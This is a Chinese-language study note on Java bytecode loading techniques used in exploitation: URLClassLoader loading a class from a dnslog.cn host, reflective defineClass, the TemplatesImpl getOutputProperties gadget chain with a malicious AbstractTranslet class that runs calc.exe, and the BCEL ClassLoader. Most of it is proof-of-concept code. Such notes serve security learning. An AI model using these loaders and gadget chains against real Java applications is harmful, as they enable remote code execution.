字节码加载方式有:

  • 本地系统直接加载
  • 网络获取:Web Applet
  • jar、war包
  • 动态代理:运行时计算生成…
  • URLClassLoader

    可以借助URLClassLoader来加载远程Server上的字节码文件.
    (前提是本地以及别的路径没有找到对应类的字节码文件.
    1. public class URLClassLoader0 {
    2. public static void main(String args[]) throws Exception {
    3. URL[] urls = {new URL("http://xrrysm.dnslog.cn/")};
    4. URLClassLoader loader = URLClassLoader.newInstance(urls);
    5. Class c = loader.loadClass("hello");
    6. c.newInstance();
    7. }
    8. }
    image.png

    ClassLoader#defineClass

    利用ClassLoader#defineClass可以直接加载字节码并将字节码还原为类. defineClass也是ClassLoader的核心.

POC:

  1. package test.com.byteLoader;
  2. import java.lang.reflect.Method;
  3. import javassist.ClassPool;
  4. import javassist.CtClass;
  5. public class defineClazzz {
  6. public static void main(String args[]) throws Exception {
  7. Method defineClass = ClassLoader.class.
  8. getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
  9. defineClass.setAccessible(true);
  10. byte[] code = byte[]{...};
  11. // class name must correct!
  12. Class clz = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(),"evilClazz",code,0, code.length);
  13. clz.newInstance();
  14. }
  15. }

直接用defineClass和javassist就会报错.:暂时还未找到解决方法.

  1. public class defineClazzz {
  2. public static void main(String args[]) throws Exception {
  3. Method defineClass = ClassLoader.class.
  4. getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
  5. defineClass.setAccessible(true);
  6. ClassPool pool = ClassPool.getDefault();
  7. CtClass clazz = pool.get(bad.evilClazz.class.getName());
  8. byte[] code = clazz.toBytecode();
  9. // class name must correct!
  10. Class clz = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(),"evilClazz",code,0, code.length);
  11. clz.newInstance();
  12. }
  13. }

image.png

TemplatesImpl#TransletClassLoader

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类自定义了一个ClassLoader方法并重写了其中的defineClass方法.
defineClass方法的调用链:

  1. TemplatesImpl#getOutputProperties()
  2. -> TemplatesImpl#newTransformer()
  3. -> TemplatesImpl#getTransletInstance()
  4. -> TemplatesImpl#defineTransletClasses()
  5. -> TransletClassLoader#defineClass()

其中getOutputProperties和newTransformer为public类型,都是可以直接调用的.
demo:

  1. public class TemplatesImplClassLoader {
  2. public static void main(String args[]) throws Exception {
  3. ClassPool pool = ClassPool.getDefault();
  4. CtClass ct = pool.get(evilClz.class.getName());
  5. byte[] code = ct.toBytecode();
  6. TemplatesImpl tmpl = new TemplatesImpl();
  7. Reflections.setFieldValue(tmpl,"_bytecodes", new byte[][] {code});
  8. Reflections.setFieldValue(tmpl, "_name", "HelloTemplatesImpl");
  9. Reflections.setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());
  10. tmpl.getOutputProperties();
  11. }
  12. }

其中恶意的类有要求,需要是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类:

  1. public class evilClz extends AbstractTranslet {
  2. static {
  3. try {
  4. Runtime.getRuntime().exec("calc.exe");
  5. } catch (IOException e) {
  6. e.printStackTrace();
  7. }
  8. }
  9. @Override
  10. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  11. }
  12. @Override
  13. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  14. }
  15. }

与ClassLoader#defineClass相比,少了一些奇奇怪怪的问题.

BCEL ClassLoader

java 8u251之前可以使用. https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
8u251把BCEL给移除了.

BCEL(Apache Commons BCEL), 属于Apache Commons项目下的一个子项目, 被包含在JDK的原生库中.

  1. 将Class转换为原生字节码: Repository.
  2. 原生字节码转换为BCEL字节码: Utility.Encode
  3. 使用BCEL ClassLoader加载BCEL字节码, 字节码前面加$$BCEL$$后再用com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass
    1. public class BECLClassLoader {
    2. public static void main(String args[]) throws Exception {
    3. JavaClass cls = Repository.lookupClass(bad.evilClazz.class);
    4. String code = Utility.encode(cls.getBytes(), true);
    5. System.out.println(code);
    6. new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
    7. }
    8. }